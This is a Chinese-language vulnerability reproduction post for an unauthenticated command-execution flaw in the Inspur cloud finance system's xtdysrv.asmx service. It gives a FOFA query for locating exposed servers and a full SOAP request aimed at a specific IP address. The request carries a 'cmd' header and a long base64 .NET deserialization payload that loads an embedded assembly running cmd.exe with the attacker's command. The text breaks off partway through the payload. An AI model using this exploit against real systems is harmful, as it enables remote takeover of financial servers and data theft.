当前位置: 首页 > news >正文

浪潮云财务系统xtdysrv.asmx存在命令执行漏洞

一、漏洞简介

浪潮云财务系统xtdysrv.asmx存在命令执行漏洞,未经身份验证的远程攻击者可通过该漏洞在服务器端任意执行代码。

二、漏洞影响

浪潮云财务系统

三、网络测绘:

fofa:
title="TSCEV4.0"

在这里插入图片描述

四、复现过程

前置条件

步骤 POC 1

数据包

POST /cwbase/service/rps/xtdysrv.asmx HTTP/1.1
Host: 106.38.42.250:8090
Content-Type: text/xml; charset=utf-8
Content-Length: 16398
SOAPAction: "http://tempuri.org/SavePrintFormatAssign"
cmd: whoami<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><SavePrintFormatAssign xmlns="http://tempuri.org/"><psBizObj>string</psBizObj><psLxId>string</psLxId>
<psLxMc>string</psLxMc><printOpByte>AAEAAAD/AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACFTeXN0ZW0uV2luZG93cy5Gb3Jtcy5BeEhvc3QrU3RhdGUBAAAAEVByb3BlcnR5QmFnQmluYXJ5BwICAAAACQMAAAAPAwAAAMctAAACAAEAAAD/AQAAAAAAAAAEAQAAAH9TeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5MaXN0YDFbW1N5c3RlbS5PYmplY3QsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dAwAAAAZfaXRlbXMFX3NpemUIX3ZlcnNpb24FAAAICAkCAAAACgAAAAoAAAAQAgAAABAAAAAJAwAAAAkEAAAACQUAAAAJBgAAAAkHAAAACQgAAAAJCQAAAAkKAAAACQsAAAAJDAAAAA0GBwMAAAABAQAAAAEAAAAHAgkNAAAADA4AAABhU3lzdGVtLldvcmtmbG93LkNvbXBvbmVudE1vZGVsLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49MzFiZjM4NTZhZDM2NGUzNQUEAAAAalN5c3RlbS5Xb3JrZmxvdy5Db21wb25lbnRNb2RlbC5TZXJpYWxpemF0aW9uLkFjdGl2aXR5U3Vycm9nYXRlU2VsZWN0b3IrT2JqZWN0U3Vycm9nYXRlK09iamVjdFNlcmlhbGl6ZWRSZWYCAAAABHR5cGULbWVtYmVyRGF0YXMDBR9TeXN0ZW0uVW5pdHlTZXJpYWxpemF0aW9uSG9sZGVyDgAAAAkPAAAACRAAAAABBQAAAAQAAAAJEQAAAAkSAAAAAQYAAAAEAAAACRMAAAAJFAAAAAEHAAAABAAAAAkVAAAACRYAAAABCAAAAAQAAAAJFwAAAAkYAAAAAQkAAAAEAAAACRkAAAAJGgAAAAEKAAAABAAAAAkbAAAACRwAAAABCwAAAAQAAAAJHQAAAAkeAAAABAwAAAAcU3lzdGVtLkNvbGxlY3Rp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NzdhNWM1NjE5MzRlMDg5XSxbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHksIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBAAAAAYiAAAATlN5c3RlbS5Db3JlLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4ORAQAAAABwAAAAkDAAAACgkkAAAACggIAAAAAAoICAEAAAABEQAAAA8AAAAGJQAAAPUCU3lzdGVtLkxpbnEuRW51bWVyYWJsZStXaGVyZVNlbGVjdEVudW1lcmFibGVJdGVyYXRvcmAyW1tTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XSxbU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuSUVudW1lcmFibGVgMVtbU3lzdGVtLlR5cGUsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQQAAAAJIgAAABASAAAABwAAAAkEAAAACgkoAAAACggIAAAAAAoICAEAAAABEwAAAA8AAAAGKQAAAN8DU3lzdGVtLkxpbnEuRW51bWVyYWJsZStXaGVyZVNlbGVjdEVudW1lcmFibGVJdGVyYXRvcmAyW1tTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5JRW51bWVyYWJsZWAxW1tTeXN0ZW0uVHlwZSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0sIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLklFbnVtZXJhdG9yYDFbW1N5c3RlbS5UeXBlLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0EAAAACSIAAAAQFAAAAAcAAAAJBQAAAAoJLAAAAAoICAAAAAAKCAgBAAAAARUAAAAPAAAABi0AAADmAlN5c3RlbS5MaW5xLkVudW1lcmFibGUrV2hlcmVTZWxlY3RFbnVtZXJhYmxlSXRlcmF0b3JgMltbU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuSUVudW1lcmF0b3JgMVtbU3lzdGVtLlR5cGUsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldLFtTeXN0ZW0uVHlwZSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0EAAAACSIAAAAQFgAAAAcAAAAJBgAAAAkwAAAACTEAAAAKCAgAAAAACggIAQAAAAEXAAAADwAAAAYyAAAA7wFTeXN0ZW0uTGlucS5FbnVtZXJhYmxlK1doZXJlU2VsZWN0RW51bWVyYWJsZUl0ZXJhdG9yYDJbW1N5c3RlbS5UeXBlLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldLFtTeXN0ZW0uT2JqZWN0LCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQQAAAAJIgAAABAYAAAABwAAAAkHAAAACgk1AAAACggIAAAAAAoICAEAAAABGQAAAA8AAAAGNgAAAClTeXN0ZW0uV2ViLlVJLldlYkNvbnRyb2xzLlBhZ2VkRGF0YVNvdXJjZQQAAAAGNwAAAE1TeXN0ZW0uV2ViLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49YjAzZjVmN2YxMWQ1MGEzYRAaAAAABwAAAAkIAAAACAgAAAAACAgKAAAACAEACAEACAEACAgAAAAAARsAAAAPAAAABjkAAAApU3lzdGVtLkNvbXBvbmVudE1vZGVsLkRlc2lnbi5EZXNpZ25lclZlcmIEAAAABjoAAABJU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4ORAcAAAABQAAAA0CCTsAAAAICAMAAAAJCwAAAAEdAAAADwAAAAY9AAAANFN5c3RlbS5SdW50aW1lLlJlbW90aW5nLkNoYW5uZWxzLkFnZ3JlZ2F0ZURpY3Rpb25hcnkEAAAABj4AAABLbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5EB4AAAABAAAACQkAAAAQHwAAAAIAAAAJCgAAAAkKAAAAECAAAAACAAAABkEAAAAACUEAAAAEJAAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyAgAAAAhEZWxlZ2F0ZQdtZXRob2QwAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5L1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyCUIAAAAJQwAAAAEoAAAAJAAAAAlEAAAACUUAAAABLAAAACQAAAAJRgAAAAlHAAAAATAAAAAkAAAACUgAAAAJSQAAAAExAAAAJAAAAAlKAAAACUsAAAABNQAAACQAAAAJTAAAAAlNAAAAATsAAAAEAAAACU4AAAAJTwAAAARCAAAAMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQcAAAAEdHlwZQhhc3NlbWJseQZ0YXJnZXQSdGFyZ2V0VHlwZUFzc2VtYmx5DnRhcmdldFR5cGVOYW1lCm1ldGhvZE5hbWUNZGVsZWdhdGVFbnRyeQEBAgEBAQMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5BlAAAADVAVN5c3RlbS5GdW5jYDJbW1N5c3RlbS5CeXRlW10sIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5LCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQk+AAAACgk+AAAABlIAAAAaU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHkGUwAAAARMb2FkCgRDAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyBwAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlClNpZ25hdHVyZTIKTWVtYmVyVHlwZRBHZW5lcmljQXJndW1lbnRzAQEBAQEAAwgNU3lzdGVtLlR5cGVbXQlTAAAACT4AAAAJUgAAAAZWAAAAJ1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5IExvYWQoQnl0ZVtdKQZXAAAALlN5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5IExvYWQoU3lzdGVtLkJ5dGVbXSkIAAAACgFEAAAAQgAAAAZYAAAAzAJTeXN0ZW0uRnVuY2AyW1tTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XSxbU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuSUVudW1lcmFibGVgMVtbU3lzdGVtLlR5cGUsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQk+AAAACgk+AAAACVIAAAAGWwAAAAhHZXRUeXBlcwoBRQAAAEMAAAAJWwAAAAk+AAAACVIAAAAGXgAAABhTeXN0ZW0uVHlwZVtdIEdldFR5cGVzKCkGXwAAABhTeXN0ZW0uVHlwZVtdIEdldFR5cGVzKCkIAAAACgFGAAAAQgAAAAZgAAAAtgNTeXN0ZW0uRnVuY2AyW1tTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5JRW51bWVyYWJsZWAxW1tTeXN0ZW0uVHlwZSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0sIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLklFbnVtZXJhdG9yYDFbW1N5c3RlbS5UeXBlLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0JPgAAAAoJPgAAAAZiAAAAhAFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5JRW51bWVyYWJsZWAxW1tTeXN0ZW0uVHlwZSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0GYwAAAA1HZXRFbnVtZXJhdG9yCgFHAAAAQwAAAAljAAAACT4AAAAJYgAAAAZmAAAARVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLklFbnVtZXJhdG9yYDFbU3lzdGVtLlR5cGVdIEdldEVudW1lcmF0b3IoKQZnAAAAlAFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5JRW51bWVyYXRvcmAxW1tTeXN0ZW0uVHlwZSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0gR2V0RW51bWVyYXRvcigpCAAAAAoBSAAAAEIAAAAGaAAAAMACU3lzdGVtLkZ1bmNgMltbU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuSUVudW1lcmF0b3JgMVtbU3lzdGVtLlR5cGUsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldLFtTeXN0ZW0uQm9vbGVhbiwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0JPgAAAAoJPgAAAAZqAAAAHlN5c3RlbS5Db2xsZWN0aW9ucy5JRW51bWVyYXRvcgZrAAAACE1vdmVOZXh0CgFJAAAAQwAAAAlrAAAACT4AAAAJagAAAAZuAAAAEkJvb2xlYW4gTW92ZU5leHQoKQZvAAAAGVN5c3RlbS5Cb29sZWFuIE1vdmVOZXh0KCkIAAAACgFKAAAAQgAAAAZwAAAAvQJTeXN0ZW0uRnVuY2AyW1tTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5JRW51bWVyYXRvcmAxW1tTeXN0ZW0uVHlwZSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0sIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5UeXBlLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQk+AAAACgk+AAAABnIAAACEAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLklFbnVtZXJhdG9yYDFbW1N5c3RlbS5UeXBlLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPW